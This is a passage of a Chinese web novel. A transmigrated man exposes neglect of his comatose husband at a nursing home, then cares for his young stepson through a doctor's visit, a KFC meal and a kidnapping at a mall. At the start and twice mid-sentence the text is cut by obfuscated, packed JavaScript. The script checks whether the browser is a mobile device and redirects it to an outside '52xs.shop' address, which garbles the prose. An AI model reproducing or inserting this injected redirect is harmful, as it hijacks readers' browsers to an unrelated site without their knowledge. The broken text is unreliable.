0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14648098|156557||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,给他涂了层唇膏吗?? 图什么啊我就请问? 你们疗养院里的植物人也有化妆需求吗?也有形象要求吗?也要扮漂亮吗??? 419弱弱开口:【哇,这个嘴唇,好像是用被碾碎的玫瑰花瓣染出来的唇瓣哦。我知道我们组有个buff就是这样的,是不是看着就很好亲的样子?】 程乐言:【你少变态!你要对人家植物人做什么啊你。】 忍不住伸手蹭了蹭对方的唇,想把那颜色蹭下去。 ……蹭了两下,没蹭下去,反而那唇色变得更靡丽了,乃至于程乐言莫名其妙就吞咽了一下。 濯濯站在一边,默默看他一眼,然后默默地往旁边缩了缩。 程乐言:……靠。 程乐言:“你把你后爸当什么了啊宝。后爸不是变态哈。” 濯濯:……真的吗? 护工现在还没来。程乐言觉得这护工也是很不靠谱。植物人的护理非常重要,护工不靠谱的话,很容易就有褥疮什么的。 干脆自己检查一下算了。 程乐言便对容妄之道:“老公,我检查一下你身体哈,你别介意。” 然后就先把容妄之的裤腿往上面拽起了些,又把上衣拉了上去。 他的面色马上沉了:容妄之身上,有几块青紫,已经消得差不多,看起来像是被人用手掐的。背后和腿上都有褥疮,一看就是根本没有被悉心照料。 这个疗养院看着非常高端,价格不菲,按理来说根本不会有这种问题才对。 容妈妈交的钱都被狗吃了吗!? 正在这时,一个护工衣着的男人小步快跑地走进,对着程乐言点头哈腰,非常谄媚地说道:“程少爷,您来啦。” 紧接着就挤眉弄眼,猥猥琐琐道:“您放心,这房间的监控已经都关上了哈,您随意,随意。” 程乐言心脏重重一跳。 他道:“你可终于来了啊护工大爷。我问问你啊,我老公在你们这儿,一个月多少钱?” 护工一愣:“应该是最高档的套餐,一个月18万8的吧。” 程乐言肺都差点炸了:“18万8?18万8!??18万8你们就这服务?我问问你,我老公身上这怎么回事?你怎么护理,能护理出这些青紫出来?看看这块儿,这用手拧出来的吧?” 护工脸色一变:“程少爷,您可别坑我啊,这不都是您……您自己……您自己弄的吗。上次您把个凳子砸碎了,我还帮您在查房的医护面前帮忙打掩护呢。” 程乐言:……………… 靠,原主不干人事啊!容妄之身上的青紫,都是他打的!!! 对一个没有丝毫反抗能力的植物人实施如此暴行,原主真就是一个纯纯的人渣。 这护工也是个人渣2号。 就这种疗养院,他怎么可能让自己金主爸爸待在这里!? 他毫不犹豫拿出手机打电话,拨给了容妈妈的那位陈助理,言明事情紧急,关乎容妄之,对方果断把电话转给了容妈妈。 容妈妈有点不耐烦:“怎么了?你最好是真的有事。” 程乐言:“妈!我刚刚过来看容先生,发现这疗养院根本不行,很有问题!容先生褥疮都出来了你敢信。这玩意还要18万8一个月,妈咱这是被骗钱了啊!” 容妈妈声音立即严肃起来:“等我半个小时,我开车过来。” 程乐言:“对了,他们还神经病一样的,给容先生涂口红了,抹成了一个嘟嘟唇呢。” 容妈妈:“……等我10分钟,我直升机过来。” 6. 真香 程乐言和容妈妈的电话一挂,这一边,护工急得不行:“程少爷您这是什么意思?这当初不都是咱俩的默契吗,我帮您关监控,您随便想怎么就怎么。现在要是容总一走,我们院长追究下来,我肯定会丢工作的!” 程乐言:“还默契,默你个头。丢工作不是正好吗,你来当护工可真是坑死人了。” 护工一咬牙:“行,程乐言,那就鱼死网破!容太太一来,我就告诉她,容总身上那些青紫都是你打出来的!” 程乐言:“打什么打,谁说我打我老公了,这是,这是……” 三秒钟后。 程乐言坦然无畏地说道:“这是我用嘴亲出来的。” 护工:“???” 419:??? 250:??? 容妄之本人:??? 就连不会说话的濯濯都:??? 程乐言理直气壮:“这是我老公,我们俩婚都结了,我动动嘴怎么了!你跟我妈说呗,随便你说。不说呢,你就是单纯地照顾不力。要是说了,你还多了个关监控看着我老公被打——啊不是,被我亲的罪名。说呗,你看到时候谁倒霉。” 护工愣是一句话没说出来,脸上一阵红一阵紫。 十分钟后,容妈妈风风火火地到了,这家疗养院的院长也已赶到,一直说着“误会,误会”。 容妈妈懒得理他,直接去看容妄之。 见到那嘴唇,她第一秒:? 第十秒:????? 什么玩意啊! 还真是涂了个嘟嘟唇! 虽然还怪好看的,但是这,神经病吗,为什么给我儿子涂口红!我都没给我儿子涂过口红! 她转头骂道:“误会?你看着我儿子的嘴唇告诉我,这叫误会!?” 疗养院的院长凑头去看,看完都恨不得给那护工一耳光,神经病啊他,给植物人擦口红,这是脑袋有坑吗!! 旁边程乐言又接过了话:“院长,可没什么误会的。你们疗养院号称医疗强项是吧,有专业医生坐镇,每天测量病人的各项指标。 “但是我刚刚看了我老公近两个月的记录,就那个体重,近两个月他居然就在65公斤上下变动,没瘦多少,这几乎不可能。肯定是没测量过,乱填的吧。他现在要是真有65公斤我倒立把他这医疗床吃了。” 又道:“再比如,我老公一天的日程怎么安排,翻身拍背几次、每次多少分钟,每天晒多久太阳,一天几餐,营养餐都包含什么,他是否有无意识动作,是否有原始的口腔咀嚼活动,这些问题,记录里每天居然都是一样的。这玩意糊弄谁呢? “更别提,我老公褥疮都出来了!五千块钱的护工都不会让病人有褥疮的好吗!” 护工脸色苍白。他是负责容妄之的主护工,但根本不上心,甚至从前为了讨好程乐言,有故意的成分。其他护工跟着有样学样,都不怎么管。容妈妈之前没扒衣服看过,他们早习惯了偷懒,哪想到会有今天。 院长只好一直说,这次一定换个负责的护工云云。但容妈妈根本没给他一个眼神,直接利落地打电话叫人来,要带容妄之转院。 车很快来了。程乐言带着濯濯,也跟着一起离开。 临走前还对着院长说:“近三个月的费用退给我们,否则就等着法院见吧!” 一行人刚走,院长已经一耳光扇到那护工脸上:“赶紧给我滚!” 护工想解释:“不是啊,院长,其实是程乐言——” 院长:“我管你程不什么程,我现在正在求着容家给我另一家疗养院注资的好吗?原本谈的好好的,现在全完了!全完了!!!我让你照顾好容家大少爷,这就是个金苗苗,你特么倒好,你给人家涂口红!?你有病吗你?” 他气到不行,末了一脚把人踹倒:“赶紧滚!以后也不用在这行混了!!我看哪家疗养院敢用你工作!” 护工瘫倒在地,面色凄然。 另一边车上,容妈妈实在看不惯儿子那仿如美图秀秀美颜效果的嘟嘟唇,按捺不住,拿出张湿纸巾去擦。 擦了几下,儿子的唇色毫无变化,湿纸巾上也没有一点红色。 她都震惊了:“这用的什么唇膏?定妆效果这么好?” 程乐言也是啧啧称奇:“是啊,要不等下拿卸妆水试试吧。” 容妈妈哼了一声。又去翻衣服看过了容妄之身上的褥疮,心疼至极,顺便还把那些青紫都算在了护工身上。 末了看向程乐言:“今天的事,你做得不错。” 程乐言爽快地说:“妈,这都是我应该做的。不过,您现在是打算送容先生去医院常住?” 容妈妈闻言也有点犯愁。 她现在对疗养院整个都有点犯怵,不是很放心,但一直住在医院里,她又觉得环境不好。 心中立马恨上了容家二房。 本来容妄之是住在老宅的,那里特意给他备齐了所有医疗器械,结果二房那个傻叉玩意硬是假惺惺地说什么,老太太最疼妄之,妄之这种状态住在老宅,会让老太太伤心。 各种用话挤兑,还掺上了一些别的事儿,最后搞得她只能在外面找地方安置儿子。 这个仇,她一定要报! 但之后妄之住在哪里…… 正纠结着,程乐言道:“妈,让容先生搬回到我们家里去吧。我照顾他。我还算有点经验。” 是的,他还真的照顾过瘫痪患者,且时间不短,经验很足。 容妈妈抬头望向他:“你说真的?” 程乐言点头:“这些我都懂,营养餐怎么配,按摩怎么按,翻身怎么翻,擦身怎么擦,我都有数。” 当即就伸手给容妄之按了按腿,动作非常专业。 容妈妈一愣,猛然间反应过来,心想之前程乐言给自己按肩膀,那么会按,该不会就是为了照顾妄之,特意去学过吧? 虽然完全看不出来,但他居然是这么关心妄之的吗? 程乐言又道:“我和容先生结婚就是为了冲喜嘛,现在我虽然还没搞清楚要怎么个冲法,那也是离近点冲比较好吧。” 容妈妈沉默片刻,最后舒出了一口气,道:“好。就搬回去。” 程乐言信心满满道:“嗯!您放心,我一定好好冲喜,冲出新意,冲出成绩,冲出希望,冲出未来,冲出更好的明天!” 容妈妈:“……你少废话。先观察三个月吧,三个月没问题,我给你涨薪20%。做得好,我继续涨。” 程乐言瞬间乐得牙花子都出来了:“哎呀妈妈,咱这一家人,你还客气什么呀!哈哈哈,涨薪20%嘛,居然有20%这么多。你就放心吧,我绝对把容先生照顾好。” 容妈妈:“钱别拿去给野男人花我就更放心了。” 程乐言:“什么野男人,就没有野男人能花到我一分钱!来来来妈,我给您按按肩膀,您忙了一天了,累了吧?” 躺在旁边的容妄之:……啧。 他已经搞清楚了状况。 看来,是他车祸后变成了植物人,而他妈妈大概脑子抽了,居然找了个男的来给他“冲喜”。 冲,喜。 他难以想象这个词汇和自己搭上边。 这男的明显算不上什么好人,大概对这段婚姻心有不甘,借着来看自己的由头对这具身体实施暴力行为,还把钱拿给外面的“野男人”花。 但如今不知为何,又不肯承认那些过去了,还惺惺作态,要和自己同住。 不知安的什么心。 所以,油嘴滑舌,谎话连篇,两面三刀,表里不一,性情恶毒,下手毒辣,贪财狡诈,利欲熏心,口蜜腹剑,心思深沉…… 郑女士是给他找了个什么人来冲喜。 总之,他对这所谓“妻子”初印象极其差劲,也不知道濯濯和他在一起,会不会受了委屈。 至于脑子里的系统,肯定也并非自己幻觉,而是真的——主要是那个什么“嘟嘟唇”这种鬼东西,居然真的存在。 要怎样才能把这系统从脑海中驱逐呢? 这大量的信息在他脑海中都只是一个闪念,瞬间划过,系统250都未曾捕捉。 旁边一片安静,程乐言没有继续说话,容妄之觉得他的意识又开始被拉扯到深海之中。 250急道:【宿主宿主,你能给我一个全权限开放吗?我看看有没有办法帮到你!宿主你怎么不说话了,你说句话啊宿主???】 容妄之:【再见。】 说完便彻底失却了意识。 250:啊啊啊啊啊! 它把“嗯嗯啊啊”任务获得的所有能量都转化成了健康值,注入到了容妄之的身体。但终究还差得远。 下次搞这个见鬼的R18任务,又要什么时候啊!!! 系统又是绝望的一天。 程乐言对这一切都一无所知。他随着容妈妈带人一起,把容妄之安置到了一家高端私人医院的VIP病房内,又有医护人员鱼贯般进入,帮容妄之重新检测身体情况。 半晌安顿好了,容妈妈对程乐言道:“妄之需要很多医疗器械,这几天,我会安排人布置到别墅,也会再请两个护工照顾妄之。” 程乐言:“放心吧妈,到时候我们互相监督。” 容妈妈点点头:“我安排司机送你们回去。” 程乐言:“谢谢妈。还有个事儿啊,妈,你有医院的关系不?能帮忙加个号吗?我想带濯濯去医院看看,找儿童医院的刘主任。我搜过小绿书,他评价最高。就是挂不上号了,我又不想找黄牛。” 容妈妈一愣:“濯濯已经看过好几个医生了,其实……都……” 都用处不大。 程乐言道:“过去看的都是私立的吧,我想带他去看看公立医院的医生呢。” 容妈妈没给他泼冷水,点点头:“行。应该可以安排,可以了我叫助理跟你说。” 她多看了濯濯一眼,满眼贪恋,却没有说要抱孩子,最后只道:“濯濯,再见。” 濯濯安静地冲她挥了挥手。 午饭回别墅吃的,下午时,陈助理发来微信表示加上号了,算着时间差不多,程乐言就带着濯濯驱车前往医院。 这是“儿保科”的检查,相当于要给小孩做适龄的各项检查,包括各种抽血检验,来确定生长发育情况。 程乐言原本还担心濯濯会怕抽血,结果压根没有,濯濯乖得不行。 乖到简直让人心疼。 公立医院人非常多,折腾半天,全部检查做好了,他们带上单子,回去找医生看数据。 医生翻看着各种报告,最后叹口气道:“带回去吧,让孩子吃点好的,想吃啥吃啥。” 带回去? 吃点好的? 想吃啥吃啥??? 这三重flag之下,程乐言的双眼立即蕴满了泪水。 他跟濯濯相识不过短短时间,但他对濯濯是真心的疼爱,也早就做好了长时间相处的准备。原主对濯濯做的事,他是真的想好好补偿。 他怎么也没想到,这孩子居然病得这么严重。 他一把就将濯濯搂在了怀里,已是落下泪来,嘴唇颤抖着问道:“医生,您,您再多看看吧,他这么小,这么年轻,这都没开始治疗,怎么就放弃了呢?医生,我求您了,您再看看我 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14648099|156557||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 孩子,再看看吧!” 医生愣了愣。 然后又愣了愣。 末了说:“不是不是,我就是想说,这孩子贫血,生长曲线也落后了,赶紧得多吃点好的补一补啊。” 程乐言:……………… 程乐言:“那你刚刚那个语气怎么回事?” 医生:“我后面还有28个号,感觉今天要看到晚上8点了,这不就叹口气吗。” 程乐言变成了个大红脸。 原来是个乌龙啊。 他脸颊上还沾着泪,若无其事就擦干了,道:“医生辛苦了辛苦了。” 被他搂在怀里的濯濯却是心情复杂。 他没太理解“吃点好的”为什么会让后爸误会,但他看到的情景,就是后爸以为他要死了,难过到甚至掉泪,还去求医生救救他。 后爸……后爸是真的这么关心他吗? 后爸让爸爸搬回家了,后爸也对自己很好,所以,后爸是真的变好了吗? 可是,他还会变回从前那样吗? 幼崽的大脑被一些他无法解释的问题装满。 程乐言开始和医生探讨:“我们孩子一直有不吃饭的问题,我们自己也在找原因,现在打算换各种食物都给孩子试试,看看他喜欢吃什么。医生,我想问,孩子会不会有其他病因?” 医生道:“锌可以补上,我给你开。不过也有个简单的方法,就是你带孩子去吃肯德基。要是孩子连肯德基都不吃,那问题大了,你赶紧来医院看消化内科。” ——直接指路肯德基,可以说是,非常简单粗暴。 医生又翻到一页报告纸,是濯濯的发育商评估:“孩子语言问题更大。听力正常,舌头正常,过去做过核磁是吧?没问题?那就是别的方面的原因。” 他开始和濯濯说话,拿了一些玩具逗濯濯,看孩子的反应。 最后也说,能听指令,有互动,能模仿,注意力也还行,基本排除自闭症。现在需要做的,一是上语言干预课,二是排除心理因素,最好是带孩子看看心理医生。 医生说了不少,程乐言虚心听取。 最大的感觉是,养育一个小孩真的费劲啊。 从医院离开,时间也差不多了。 已是饭点,程乐言直接在附近找了家肯德基,抱着濯濯进去,嘴里道:“宝啊,带你吃点好吃的——肯德基没吃过吧!后爸大学的时候在这儿打过工,健康不健康另说,但干净是真干净。而且可好吃了!” 濯濯真的没吃过。 真要说的话,濯濯其实一次都没在外面吃过。他知道外面有餐厅,知道别人可以在外面吃饭,那都是从动画片里看到的。张妈平时懒得管他,更不会带他玩,就会让他自己看动画片,他从动画片里知道了很多事,也跟着动画片学会了拼音和很多常用字。 但这还是他第一次,真正地亲身实地来到餐厅。 他睁大着眼睛,好奇地看来看去: 哎呀,肯德基是什么鸡?是吃鸡肉的餐厅吗? 哎呀,原来餐厅这么小?没有家里大。 哎呀,交了钱就有厨师拿出菜来,就像动画片里的一样! 正好是周四,程乐言给自己点了份疯狂星期四,给幼崽点了份儿童套餐,然后特别熟稔地跟服务生说:“小帅哥,薯条给我们新炸出来的呗!谢谢了,麦门永存!” 他笑得灿烂,面对着这样一张脸,服务生脸都红了,跟着道:“麦门!” 说完了一愣:“……不对,我们这儿是肯德基。” 但还是给了他新炸的薯条。 餐上齐了,程乐言就端着餐盘找了个位置坐下。 然后拿了根薯条,沾了点番茄酱,递到了幼崽嘴边:“宝,快吃,新炸出来的最好吃!” 濯濯嗅到味道,狠狠地吞了下口水。 他亲眼看着服务生把餐食拿出来的,他知道这是“餐厅”,总不可能这家餐厅的所有东西吃了都会睡觉吧。 更何况…… 好香,真的好香。 他张开嘴,就着程乐言的手,一口咬下了那根薯条。然后觉得好像打开了新世界大门。 儿童的食物一向少盐少糖,健康为主,油炸食品在这方面,可谓是降维打击。怎么可能会有幼崽拒绝油炸食品的诱惑呢! 十分钟之后,程乐言差点吓坏了。 濯濯吃过薯条,然后又吃完汉堡,吃了一个鸡块一个鸡翅,还想继续吃鸡腿。 程乐言生怕孩子吃撑了,赶紧拒绝了他。 濯濯抿了抿唇,露出了两个圆圆的小酒窝,他就睁着那双又黑又亮的大眼睛,默默地盯着他,好像是在说:不可以吃了吗?真的不可以了吗? 程乐言心都要化了,赶紧说:“宝啊,后爸是怕你吃太多了肚子疼,你现在这都已经吃了很多,等会儿得给你吃个健胃消食片了都。这样吧,你喜欢吃肯德基,明天咱们再继续吃,好不好?” 濯濯心想:后爸不是怕我吃得太多,他会吃不饱。后爸是担心我肚子疼。 后爸他是……在关心我吗? 爸爸车祸之后,他已经很久很久没有过被关心的感受了,这时只觉得怀疑又无措。 而且这么好吃的食物,明天还可以继续吃吗? 下一秒,程乐言:“哎呀,明天咱不吃这个了。” 濯濯:……啊。 程乐言:“今天星期四,吃这个划算,明天没有疯狂星期四,咱还是去吃麦当劳吧!好久没吃穷鬼套餐了,嘿嘿。” 濯濯:穷鬼,原来我们家是穷鬼吗? 原来我们家没有钱,是穷鬼啊! 恍然大悟。 7. 道具 程乐言完全不知道,在他的一句话间,幼崽濯濯已经给他的首富爸爸找到了一个新定位:穷鬼。 和幼崽一起吃过了肯德基,程乐言自觉和他关系亲近几分,也觉得这是一个好好教育宝宝、摆脱狗笼困扰的好机会,于是道:“宝啊,世界上没有白吃的晚餐,后爸今天也要教你一些做人的道理。” 濯濯默默地抿了抿唇,睁着大眼睛,专注地看着他。 程乐言:“第一个大道理呢——宝,你看那个叔叔!” 他指向邻座一位中年男子。对方手边放着包烟,不过因为室内禁烟的缘故,没有抽,只是时而用手摸了几下烟盒和打火机。 程乐言:“发现什么了吗?” 幼崽摇了摇头。 程乐言:“你看那叔叔,牙多黄!宝啊,后爸教你,抽烟会让牙变黄的,最好不要抽烟哦。否则你以后喜欢上了别的人,一开口搭话,突然露出了一口大黄牙,多尴尬。” 虽然“喜欢上了别的人”什么的让濯濯满头问号,毕竟幼崽现在才三岁呢,但抽烟这个,他倒也觉得有道理。 牙黄什么的还是其次,他家都是穷鬼啊,穷鬼家庭的话,应该不要浪费钱买烟比较好吧。 程乐言又继续言传身教道:“宝子,后爸要教你的第二个大道理呢,就是后爸活到现在,领悟到的所有的人生哲理的总和。非常重要,你要仔细听哦。” “一句话就能概括了,那就是:图钱的风生水起,图爱的一无所有。什么情啊爱啊的,庸俗!有什么用呢,最关键的是什么?是钱!” 幼崽听得半懂不懂,最后得出的结论就是:因为我们家是穷鬼家庭,所以一定要多多赚钱。 嗯,一旦接受了“穷鬼家庭”这个设定,突然觉得一切都很好解释了。 幼崽一脸严肃,深以为然地点了点头。 程乐言都没想到,濯濯对他的话,接受度居然这么高。 孺子可教啊! 又拿自己举例,道:“唉,像后爸,之前就是猪油蒙了心,铁门夹了头,居然去追求什么‘爱情’!结果呢,被骗钱了,骗了后爸982万多啊!后爸一个吗喽攒点钱容易吗!项景洲那个杀千刀的王八蛋……” 后面省略了一堆不带脏字儿的骂人话,骂得痛心疾首。 结果也是巧,程乐言手机正好在这时响了,屏幕显示“景洲我の爱”。 程乐言差点吐了,马上给他改成“景洲我の呕”,因为真的呕。 算算时间,他昨天让项景临滚蛋,项景洲也是时候来打电话兴师问罪了。 电话接起来,果然,项景洲语气暴躁且不耐烦道:“怎么回事,景临说你把他辞退,还把之前的工资都要回去了?我妈发了很大的火!我真不知道你整天都在想些什么,能不做蠢事吗?你以后要是还想跟我在一起,我妈这一关你打算怎么过!?” 程乐言:啊啊啊,大剑人! 王八蛋大剑人! 他深知,跟这种大剑人说话,最重要的就是四个字,不要自证。 于是直接对对方说了什么全盘无视,开口便道:“容妄之他妈知道我们的事了。” 一句话,就已经拿回了对话的主动权。 项景洲梗住,过了几秒钟又开口时,语气已经缓和许多:“言言,你和她说的吗?现在是什么情况?” 程乐言:“她自己查到的。别墅会转回她名下,贷款的事彻底没戏,我就要被她扫地出门了。” 项景洲急道:“什么?她怎么可以这样!?当初你们可是签了合同的!” 程乐言:“嗯,所以也没有完全扫地出门。她说再给我一个机会。” 项景洲又松了一口气:“我懂了,言言,你是为了这件事,为了我,才让景临走的,是吗?言言,你……你为我们付出了太多。你受委屈了。这都是景临的错,他给你添麻烦了,我会好好说他。还有我妈,这种时候她瞎添什么乱。你放心吧,我们的未来都在我们自己的手里!” 也就几句话,程乐言已经把项景洲稳了下来,后者甚至为他找好了理由,还说“你受委屈了。” 系统叹为观止:【宿主,你这,你是做过什么相关的工作吗!?】 程乐言:【……这能有什么工作对口的,杀猪盘吗。统子爹,你等着看吧,早晚让这王八蛋把钱都给我吐出来。】 系统海豹鼓掌:【等着等着!】 项景洲又对着程乐言说了一箩筐好话,最后说了好几句“想你”,才挂了电话。 已是华灯初上,项景洲坐在办公室的皮质椅子上,眼前是入夜后,落地窗的万千灯火。 他最近都在新加坡寻找融资机会,短时间内不能回国。原本觉得不用面对程乐言着实解脱,这时反倒生出了一种古怪的感觉: 对刚刚的电话,他甚至有点——意犹未尽。 从前给程乐言打电话,都是捏着鼻子打的。程乐言给他钱,他不觉得感激,反倒每每想起,只觉得耻辱和恶心。 这次不一样。 程乐言没说太多话,是他一直在说,但是他却真的觉得,很不一样。最后那句什么“想你”云云当然是鬼话连篇,但意犹未尽的感觉却是真实的。 这是怎么了?他想,不断回忆着,想抓住在他心间稍纵即逝的感觉是什么。 只是未及多想,手机铃声响起,来自他的妈妈。项景洲是真的不耐烦起来,皱了皱眉。 另一边,程乐言挂掉了电话,正看到濯濯伸出手,轻轻地拿过了餐盘上放着的玩具——程乐言买的儿童套餐,送了一个玩具,是个皮卡丘。 见程乐言的目光投过来,濯濯瞬间胆怯,一动不敢动。 后爸刚刚表现得很温和没错,但是…… 幼崽做好了被后爸打手的准备。就好像从前,奶奶送了礼物过来,他想拿,后爸就会打他的手,然后把礼物拿走。有些后爸想要的,后爸就自己留下了,有些不想要的,后爸就扔到地上。 只是这次,他没有被打手。后爸弯了弯眼睛,说:“宝,这是宝宝套餐,你是宝宝,所以这就是给你的玩具哦。” 濯濯这才松了口气,怯生生地打开盒子,把比卡丘拿出来,拿在手里。 胸口有种奇异的感觉:他觉得这玩具跟家里所有的玩具都不一样。 这不是被挑剩下的。 这是……独属于他自己的。 吃完肯德基,程乐言带他回了家。濯濯一直拿着这个比卡丘。 睡觉时都还在抱着。 毕竟对张妈心有怀疑,洗澡、换衣服这些都是程乐言亲力亲为,又陪着濯濯搭了一会儿积木。后来他就坐在床边,看着幼崽抱着比卡丘,安静地闭上眼。 过了一会儿,他便呼吸均匀,睡着了。 程乐言都不禁感慨:这孩子未免也太好带了一点! 是天使宝宝吧,完全就是天使宝宝吧! 看着对方那么宝贵地搂着比卡丘,他心中又是一阵酸涩,决定明天就要带濯濯去商场,给他买很多的玩具。 很多很多的玩具。 自己小时候想要、但是没能拥有的,全都要给濯濯买。 濯濯必须全部都要拥有! 全部!!! 他帮幼崽把被子掖好,关好了灯,随即离开。 而在那之后,幼崽睁开眼,悄悄地从床上坐起来,从玩具熊里摸出手机,给顾秦哥发了今天的平安短信。 他忍不住分享:【顾秦哥,我今天见到爸爸了。程乐言还带我去吃肯德基,好好吃哦。他给了我一个比卡丘,我想送给你。】 顾秦回复:【!!!他怎么突然这么好!】 【惨了,程乐言会不会真的想绑架你,把你卖掉啊?】 濯濯:【啊,因为我们家是穷鬼家庭,所以要卖掉我换钱吗?】 顾秦:【穷鬼!?!?!?谁说你是穷鬼家庭的?你家要是穷鬼,我们都算什么啊!!】 【是不是你后爸说的?濯濯,他肯定是骗你!】 濯濯:【是骗我吗?可是他说他不是之前的后爸,是新的后爸,跟之前的后爸不一样。】 顾秦:【怎么可能哦,这又不是小说,他又不会穿越。濯濯你要小心啊!】 濯濯抿了抿嘴。 顾秦哥不清楚,后爸真的变了很多。 不知道后爸是不是骗他的,但,他好像……有点喜欢他的新后爸。 要是后爸一直是这个“新后爸”,不是从前那个后爸,就好了。 今天的《记仇本》,他没有给后爸画大药丸。 他不想给后爸吃大药丸了。 后来,他躺回到床上。 不再是令他难以忍受的饥饿,不再是冰冷的有时甚至淋了水的被子,不再是那种纠缠着他的“睡过去就可能醒不过来”的恐慌。 现在的他饱饱的,暖暖的。 他就这样抱着一个比卡丘,安安静静地睡了过去。 * 程乐言哄好濯濯就回到房间,中间还发生了一件很奇葩的事: 张妈居然跑来,问他借钱。 且狮子大开口,一借就是50万。 说话还有些意有所指,张口闭口就是“自己当初可是把大少爷带大的育儿嫂,太太最听我的话”,还有什么“有些事儿我也想烂在肚子里,不想跟别人说”,诸如此类。 无非是原主做的那些破事儿,张妈想自己花钱堵她的嘴。 想的美。 他“呵呵”一声:“张妈,是这样的哈,我家的钱呢,两块钱以下我做主,两块钱以上的就得跟我老公商量了。众所周知我老公植物人,所以没得商量。” 张妈:“可是——” 程乐言:“咱这相同的年纪,相同的工作,你没钱,你怎么觉得我会有钱?” 张妈:“那你——” 程乐言:“这就不是钱的问题,问题是我没钱。只要能用钱解决的问题,我一个都解决不了。” 后来硬是把张妈气得额头突突跳,扭头走了。 睡前,程乐言琢磨着,就张妈这么个情况,真不敢让她继续待在这儿。 得想个办法。 谁知道第二天早上就出幺蛾子了。 程乐言特意早起,准备给濯濯弄点炸薯条和小汉堡。结果濯濯刚在餐椅上坐好,那边张妈和孙姐,居然吵了起来,李管家都拦不住。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14648100|156557||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 两个人互相指责,说是对方弄坏了濯濯小少爷最心爱的玩具。 濯濯一听这话,脸都瞬间煞白,但伸手摸了摸口袋,神色又变得奇怪。 他从兜里掏出了一个小小的比卡丘。 幼崽不禁有点迷惑:这就是他最心爱的玩具啊,明明没有坏。 啊,难道是他平时用来装手机的那个玩具熊坏了!? 没有那个手机,他就没办法联系顾秦哥了! 程乐言道:“停停停,别吵了!到底哪个玩具?” 张妈道:“就那个铁皮人啊,从前我们少爷给小少爷买的,小少爷最宝贝了!还是在大西洋百货买的呢,一个小人儿就两千块。” 濯濯:……啊。不是玩具熊。 松了口气的同时又有点难过:他也很喜欢那个铁皮人。有时候想爸爸了,就会看看。 幼崽的脑袋耷拉下来。 眼看着张妈和孙姐又要争吵,程乐言道:“那个铁皮人是大西洋百货买的是吧?濯濯,咱等下再去买一个。” 他本来就打算带濯濯多去买点玩具,这下正好。 他伸手摸了摸濯濯的头毛,笑意盈盈地说:“宝贝,后爸要给你买好多好多的玩具,你想要什么就买什么。” “别人有的,我们家宝宝全都要有!别人没有的,我们家宝宝也都要有!”程乐言非常自信地挥斥方遒道。 濯濯的心脏猛跳起来,结果下一秒,就见后爸扭头去问李管家:“那个啥,李管家,我妈说濯濯的花销由你负责,我回来能找你报销吗?” 剧烈的心跳缓缓地趋于平静。 他想:我们穷鬼家庭也可以买那么多的玩具吗? 可是……有点开心。 幼崽抓着那个比卡丘,在所有人的看不到的地方,轻轻的,笑了一下。 就这样,早饭之后,程乐言带着幼崽驱车前往大西洋百货。 今天是什么“会员日”,人还挺多。程乐言牵着濯濯,打算上楼,往四楼的儿童区走。 从前容妄之带濯濯来过商场,但那都是一年前的事情,濯濯这时非常好奇地东张西望。 只是还没上电梯,变故突起:程乐言前面的一个孕妇被撞了一下,惊呼一声,捂着肚子摔倒在地。 程乐言赶紧上前,把人扶了起来,安置到旁边的椅子上。 孕妇没事,程乐言松了口气一回头,却发现…… 濯濯不见了。 他背后人潮汹涌,人们大步走过,压根没有再看到那个幼崽。 濯濯,不见了。 那一瞬间,程乐言整个人都被急遽的恐惧淹没,冷汗直接把衬衫后背都浸湿。 原著中的确提到过,反派幼年时曾遭遇绑架,但那是他四岁时的事,程乐言完全没想到会在这时发生。 要怎么办? 周围是汹涌的人潮,这么多的人,怎么找? 对方明显有备而来,等报了警,再过几分钟警察过来,濯濯被带到哪儿都不一定了。 他的大脑飞速运转:绝对不能让人把孩子带离这栋楼。 系统开口急道:【宿主!!濯濯身上有个小天才手表,我能连上你的手机,去看他的定位……啊,他被带着往西门去了,速度很快!怎么办?】 程乐言:【我有个办法,但是需要个高尔夫球杆,或者类似的坚硬的东西,这层楼有吗?】 系统:【……坚硬?只要坚硬就可以吗?我自己的小仓库里就有,不过你要这东西干什么啊?】 程乐言:【先给我!】 系统:【来了!】 下一秒,程乐言就感受到手上多了件东西。 他不及多看,直接挥舞了那个物体两下。 很好,还挺顺手。 他冲进了旁边的金店,对着金店的柜台,找准角度一阵乱敲,直接将几个柜台玻璃都砸碎。 金店里乱成一团,店员按下紧急按钮,也就十秒钟后,整座购物大楼的正门和几个侧门,全部封死。 程乐言舒出一口气。 这还是他在金店打工时学到的:一般金店会关联整座楼的安保,金店被打劫时,会连带引起整座大楼的外门关闭。 危机暂时解除。 话说回来,统子给他的这玩意还挺好用的。 咦,怎么回事?怎么旁边人的眼神都怪怪的? 作为一个砸了金店的人,大家多看他两眼倒是正常的,只是此刻,所有人的目光,都有那么亿点点的,不太对。 大家在看着他,好像也是在看着——他手里的那个,物体。 程乐言低下头去,仔细看了一眼,这物体到底是什么。 程乐言:…… 程乐言:……………… 